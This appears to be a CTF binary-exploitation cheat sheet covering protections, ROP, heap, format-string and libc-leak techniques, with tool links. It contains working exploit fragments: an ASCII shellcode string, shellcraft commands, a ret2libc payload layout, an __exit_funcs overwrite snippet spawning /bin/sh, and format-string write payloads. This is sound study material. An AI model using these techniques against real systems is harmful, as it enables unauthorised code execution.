PWN
Methodology
- Usually need to start with reversing methodology
- Check protections
checksec [binary]
- Test for overflows everywhere
cyclic [num_bytes]
&&cyclic -l [4_byte_val]
- Other vulnerabilities
- Format strings, integer overflow/underflow, command injection, TOCTOU, deserialization, UAF/double free, etc.
ELF specific (kind of)
- Check imports, specifically looking for dangerous functions and user input locations
- Examine dangerous functions to look for vulns
- Work backwards from a dangerous function to an input
- Look for OOB accesses (stack, heap, etc…)
Scripts
Tools
checksec
ldd
- crash the program then ->
dmesg | tail -n 1
ROPgadget --binary [binary] --ropchain
ropper --file [binary] --chain [execve/mprotect/virtualprotect]
- binutils
- PWNTools
- Seccomp Tools
- OneGadget
- pwninit
- AFL without source
- Process Hacker
Practice
Links
- PWN Tips
- RPISEC Course
- LiveOverflow
- Dynamic Binary Instrumentation
- Leaking Data
- Understanding Glibc Malloc
- Binary Exploit Writeups by rhamaa
- Nightmare
Topics
Shellcode
pwn shellcraft -l
pwn shellcraft -f r i386.linux.sh/amd64.linux.sh
python -c 'from pwn import *;context.arch="amd64";print(asm(shellcraft.linux.sh()))'
- Online Assembler
- Shell-Storm
- Forward/Backward Example
- ASCII Shellcode
XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
- Windows shellcode
1
2
3
4
5
6
7
8
9
10
from pwn import *
import sys
context.arch = "amd64"
assembly = shellcraft.echo("Hello world!\n")
asm("mov eax, 0")
disasm(b"\xb8\x0b\x00\x00\x00")
shellcode = asm(assembly)
r = gdb.debug_shellcode(shellcode)
r.recvline()
*nix/ELF
Protections
checksec [file]
- Nothing: stack overflow, point to shellcode on stack with known address
- NX stack: Ret2LIBC, put shellcode somewhere else to execute, or ROP
- NX/DEP: ROP
- ASLR: leak an address, partial overwrite, or spray
- Changes the position of stack, heap, library (but not text or PLT)
- ASLR but no NX means you need to find a gadget that points to the stack
- GDB gets rid of PIE and ASLR, fix with
set disable-randomization off
- RELRO: partial doesn’t do much, full marks the GOT as read-only and moves GOT before Heap
- Can’t overwrite pointers, but you can leak libc base address for ROP
- Full RELRO
- Canaries: leak, guess, or circumvent (longjmp) the canary
- PIE: the main executable and data are randomized by section, but not the internals of each section
- Debugging PIE Binaries
start
in gdb
Ret2LIBC
- in gdb
p system
- get address of “/bin/sh”
- BUFFER + SYSTEM_ADDR + JUNK + BINSH_ADDR
Ret2DLResolve
Command Injection
-
Bash escapes: “` ;&”
GOT/PLT
- When a dynamically linked function is first called, it is a pointer to the PLT
- This address is a jmp instruction to the .got.plt section
- However, the first time what actually happens is that the jump value is updated by looking at the .so
- Partial explanation
- Full explanation
Heap
- Overwrite heap chunk metadata or other items on heap
- Look for mismatch in allocations/deallocations
- How2Heap
- Figure out available exploitation methods
- Typical heap challenge bugs:
- Buffer overflow in alloc
- Double free
- Pointers not set to null after free
- Ability to edit OOB of allocation
- Ability to leak pointers via show function
- UAF in edit/show functions
- Able to print pointers via non null-terminated alloc
ptmalloc2
- GLIBC Intro
- Attacks
- Munmap technique/House of Muney
- unlink() bug no longer works in ptmalloc2
- GLIBC Attacks Overview
- Overflow to RIP
- Arenas
- There is a main arena, created by the main thread
- Multithreading can introduce multiple arenas; however, threads share the same virtual address space
- Enough mallocs/frees to fastbins causes pointer to LIBC to appear in heap (Example)
Heap challenge checks
- Are heap chunks null-byte filled on allocation? de-allocation?
- Are pointers to chunks set to NULL once de-allocated?
- Based on available allocation sizes, what type of chunk are we getting? Which bin? mmap?
- Are we allowed to create? edit? delete? what restrictions exist on those operations?
- UAF? Double free? OOB read or write?
- Are there any memory leaks? (memory does not get freed when reference is lost)
- Is allocation return value checked for failure?
PwnDbg
heap
/bins
search
x/xg $rsp
UAF
- Still have a pointer to the heap
- Hopefully get to write new data there that can be accessed
Double Free
- Linked list of free chunks will get the same pointer twice, which can be allocated to two different malloc calls
Windows
- Process layout
- “Syscall numbers tend to change from version to version of Windows and would be hard or unreliable to code into an exploit”
- TEB -> FS[0] (also the TIB because that is first in the TEB)
- pykd for windbg scripting (
.load pykd;!py script.py
)
Protections
- DEP
- ASLR
- CFG
- SafeSEH
- SEHOP
SEH
- There is a default exception handler installed, and new ones are added inside of each “try” block
- A pointer to the handler is stored on the stack in the _EXCEPTION_REGISTRATION_RECORD structure
- Exception handlers are stored on stack in singularly-linked list
Interesting C functions
- Dangerous functions
strcmp
,strlen
,strcat
,sprintf
,scanf
, etc.
gets
reads in null bytes
C++
Java
- ysoserial
- Another Example
new ObjectInputStream(request.getInputStream()).readObject();
causes deserialization
Python
Ideas
- Run shellcode on stack, or somewhere else
- ROP through binary, or library, text section, awesome if you can call system()
- Create a loop to accept input multiple times if needed
- one_gadget
- Create RWX memory region with mmap
- Look in the GOT for LIBC addresses, may be able to print using some printf/puts call, use a gadget to pop a stack address into rdi (x86_64 only) and then return to just before the printf call (Example)
- Overwrite something in the GOT
- Overwrite DTORS and C Library hooks
__exit_funcs
is replacement to__free_hook
(Writeup)
- Use the BSS to write temp data to at known address, if you have write-what-where
- Time-based <- also helpful for using a filename as an oracle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# heap/__exit_funcs code
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
# encrypt a function pointer
def encrypt(v, key):
return p64(rol(v ^ key, 0x11, 64))
# obtain the key
key = ror(u64(read(orig_onexit_addr, 8)), 0x11, 64) ^ orig_handler
log.info(f'sanity check: {hex(u64(encrypt(orig_handler, key)))}')
# Next, we need to allocate our exit_function_list, we're using the cxa type because it is called as func(void *arg, int status)
# This is nice to obtain system(void *arg) where arg is a pointer to "/bin/sh"
# We already allocated the '/bin/sh' at offset 0x2c0
############# next | count | type (cxa) | addr | arg | not used
onexit_fun = p64(0) + p64(1) + p64(4) + encrypt(libc.sym['system'], key) + p64(heap + 0x2c0) + p64(0)
add(onexit_fun)
ROP
- Execve example shows setting up registers
- ropper and ROPgadget
- Stack pivoting, check ESP gadgets
- ROP too easy? Try JOP
- pwntools:
elf.got['func']
for overwrite,elf.sym['func']
used to call - libc.so and ld.so are consistently spaced in memory, because of mmap relativitey, which means other mmap allocations (or large mallocs) also have that property
- Setting rax without
pop rax
, callalarm(rax_val)
2x quickly to domov rax, rdi
- Arbitrary write in GCC-compiled binary, look for:
add dword [rbp-0x3d], ebx
- More common gcc gadgets (stolen from nobodyisnobody)
1 2 3
gadget_add = 0x000000000040125c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret gadget_csu = 0x000000000040156a # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret gadget_csu2 = 0x401550 # mov rdx,r14 / mov rsi,r13 / mov edi,r12d / call qword[r15+rbx*8] + 7 pop
Format Strings
- See if there is anything useful on the stack with
"|%p" * x
- If there isn’t full relro, try
"AAAABBBB" + "|%p" * x
to find your input - Count the index of your input and add 1, do
p32([GOT_ADDR]) + "%[index+1]$p"
to print your input - Get value you want and print that number of characters, do
p32([GOT_ADDR]) + "%[num]x" + "%[index+1]$hn"
- Fix num because it will be a little off, if you need to do more writes they can be combined
ex
r.sendline(p32(0x804a010) + p32(0x804a012) + "%33880x" + "%8$hn" + "%33700x" + "%9$hn")
- May need to call system PLT address instead of call to system in text section
%[number]x
is the pad%[index]$n
means write to that index on the stack (what that points to)- PWNTools fmtstr
Integer Overflow/Underflow
Type Confusion
Uninitialized Data
- If not initialized, variables will just get whatever data happens to be there
Seccomp
- Seccomp Tools
- Check for
A != ARCH_x86_64
andA < 0x4000000000
, see here
So you got a LIBC
- LIBC Finder
- Use pwninit to get loader for older libc (https://github.com/io12/pwninit/releases/latest)
/pwninit --bin [binary] --no-template
- If given LIBC, probably need to leak an address to it (lots of good notes in PWN-Tips repo)
- Another source for ROP gadgets
- PWNtools examples:
p = process(["./ld-2.27.so", "./task2"], env={"LD_LIBRARY_PATH":".", "LD_PRELOAD":"libc-2.27.so"})
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libcrypto.so.1.0.0")}
patchelf --set-rpath . [binary]
# requires your custom libc.so.6 to be in the same directory:patchelf --set-interpreter [ld.so] [binary]
LD_LIBRARY_PATH=. LD_DEBUG=all LD_PRELOAD=./libc.so.6 ./ld-2.29.so ./binary
if given .so, the debug thing can be helpful- Can also do
objdump -D
, look forlibc_start_main()
, look forcall rax
beforeexit()
(+2 because it pushes ret addr) - ASLR will cause the addresses of the functions to change, but not their offsets
- LIBC Database/Another one
- Use pwntools to find the base from a symbol
libc = ELF("whatever.so"); libcbase = puts_addr - libc.sym['puts']; system = libcbase + libc.sym['system']; binsh = libcbase + libc.search('/bin/sh').next()
Random troubleshooting
- try popping address of system into register and then calling that register instead of just jumping to system
(echo "";cat) | nc [server] [port]
cat payload - | nc [server] [port]
- to get LIBC address with UAF, allocate 9 0x80 (fastbin size) chunks, free 8 and look in 8th chunk for pointer
- mmap “feature”: POSIX specifies that the system shall always zero fill any partial page at the end of the object and that system will never write any modification of the object beyond its end. On Linux, when you write data to such partial page after the end of the object, the data stays in the page cache even after the file is closed and unmapped and even though the data is never written to the file itself, subsequent mappings may see the modified content.
- If a chunk’s IS_MMAPED flag is set, calloc will not zero out the chunk’s user data after allocation because it assumes the chunk has been allocated via mmap() which also zeroes out data
Jail escapes
This post is licensed under
CC BY 4.0
by the author.